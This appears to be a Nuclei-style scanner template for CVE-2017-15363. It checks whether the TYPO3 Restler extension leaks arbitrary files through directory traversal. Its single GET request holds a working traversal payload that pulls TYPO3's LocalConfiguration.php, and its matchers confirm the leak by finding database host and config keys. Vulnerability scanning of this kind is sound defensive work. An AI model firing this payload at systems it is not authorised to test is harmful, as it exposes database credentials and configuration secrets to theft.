id: CVE-2017-15363

info:
  name: TYPO3 Restler - Arbitrary File Retrieval
  author: 0x_Akoko
  severity: high
  description: Directory traversal vulnerability in public/examples/resources/getsource.php in Luracast Restler through 3.0.0, as used in the restler extension before 1.7.1 for TYPO3, allows remote attackers to read arbitrary files via the file parameter.
  reference:
    - https://www.exploit-db.com/exploits/42985
    - https://www.cvedetails.com/cve/CVE-2017-15363
    - https://extensions.typo3.org/extension/restler/
    - https://extensions.typo3.org/extension/download/restler/1.7.1/zip/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-15363
    cwe-id: CWE-22
  tags: cve,cve2017,restler,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?php"
          - "'host'"
          - "'database'"
          - "'extConf'"
          - "'debug'"
        condition: and

      - type: status
        status:
          - 200